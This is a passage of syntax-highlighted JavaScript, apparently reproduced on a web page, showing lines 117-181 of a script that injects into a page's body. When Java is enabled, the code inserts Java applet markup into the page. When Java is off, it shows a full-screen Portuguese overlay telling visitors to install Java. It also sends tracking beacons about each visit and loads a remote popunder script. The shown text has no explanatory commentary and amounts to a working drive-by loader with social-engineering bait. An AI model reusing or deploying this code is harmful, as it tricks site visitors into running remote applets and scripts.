<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 117:</span>         <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 118:</span>             <span style="color: #0000ff">var</span> html = JSM_getAppletHtml();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 119:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 120:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 121:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 122:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 123:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 124:</span> <span style="color: #0000ff">function</span> JSM_onInit(hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 125:</span>     <span style="color: #008000">//report access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 126:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 127:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_access);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 128:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 129:</span>     <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 130:</span>         <span style="color: #0000ff">var</span> html = <span style="color: #006080">''</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 131:</span>         <span style="color: #0000ff">if</span> (navigator.javaEnabled()) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 132:</span>             <span style="color: #008000">//java on</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 133:</span>             html = JSM_getAppletHtml() + <span style="color: #006080">' '</span> + JSM_getAppletHtml_X();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 134:</span>             <span style="color: #008000">//report java enabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 135:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 136:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 137:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 138:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 139:</span>         } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 140:</span>             <span style="color: #008000">//java off</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 141:</span>             <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> window.innerWidth != <span style="color: #006080">'undefined'</span>) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 142:</span>                 viewportwidth = window.innerWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 143:</span>                 viewportheight = window.innerHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 144:</span>             } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> document.documentElement != <span style="color: #006080">'undefined'</span> &amp;&amp; <span style="color: #0000ff">typeof</span> document.documentElement.clientWidth != <span style="color: #006080">'undefined'</span> &amp;&amp; document.documentElement.clientWidth != 0) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 145:</span>                 viewportwidth = document.documentElement.clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 146:</span>                 viewportheight = document.documentElement.clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 147:</span>             } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 148:</span>                 viewportwidth = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 149:</span>                 viewportheight = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 150:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 151:</span>             <span style="color: #008000">//html = 'java is NOT enabled...';</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 152:</span>             html = <span style="color: #006080">'&lt;div id=&quot;xyz_light_cont&quot; style=&quot;display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none&quot;&gt;&lt;div id=&quot;xyz_light&quot; style=&quot;display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;&quot;&gt;&lt;!--&lt;div style=&quot;text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272&quot;&gt;--&gt;&lt;div style=&quot;font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left&quot;&gt;Atenção&lt;/div&gt;&lt;div style=&quot;padding: 6px; background-color: #fff&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;a style=&quot;text-decoration: underline; color: blue&quot; href=&quot;javascript:void(0)&quot; onclick=&quot;document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'&quot;&gt;Fechar&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px; text-align: center&quot;&gt;&lt;img margin: 5px; padding: 0&quot; src=&quot;http://s1.postimage.org/317sn151g/java.jpg&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;padding: 10px 0 25px 0; text-align: center; font-weight: bold&quot;&gt;Você não possui Java ou ele está desabilitado.&lt;br /&gt;Esta página possui recursos que requerem que o Java esteja ativado.&lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.java.com/pt_BR/download/&quot;&gt;Clique aqui para instalar o plugin do Java.&lt;/a&gt;&lt;/div&gt;&lt;!--&lt;/div&gt;--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'</span> + <span style="color: #006080">''</span> + <span style="color: #006080">'&lt;div id=&quot;xyz_fade&quot; style=&quot;display: none; position: absolute; top: 0; left: 0; width: '</span> + viewportwidth + <span style="color: #006080">'px; height: '</span> + viewportheight + <span style="color: #006080">'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)&quot;&gt;&lt;/div&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 153:</span>             <span style="color: #008000">/**/</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 154:</span>             <span style="color: #008000">//report java disabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 155:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 156:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 157:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 158:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 159:</span>             document.getElementById(<span style="color: #006080">'xyz_light_cont'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 160:</span>             document.getElementById(<span style="color: #006080">'xyz_light'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 161:</span>             document.getElementById(<span style="color: #006080">'xyz_fade'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 162:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 163:</span>         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 164:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 165:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 166:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 167:</span> <span style="color: #0000ff">function</span> JSM_onCreate() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 168:</span>     <span style="color: #0000ff">if</span> (jsm_loaded) <span style="color: #0000ff">return</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 169:</span>     <span style="color: #0000ff">var</span> myBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 170:</span>     <span style="color: #0000ff">if</span> (myBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 171:</span>         jsm_loaded = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 172:</span>         JSM_onInit(myBody);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 173:</span>     } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 174:</span>         setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 100);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 175:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 176:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 177:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 178:</span> <span style="color: #0000ff">function</span> WindowOnload(f) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 179:</span>     <span style="color: #0000ff">var</span> prev = window.onload;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 180:</span>     window.onload = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 181:</span>         <span style="color: #0000ff">if</span> (prev) prev();</pre></p>
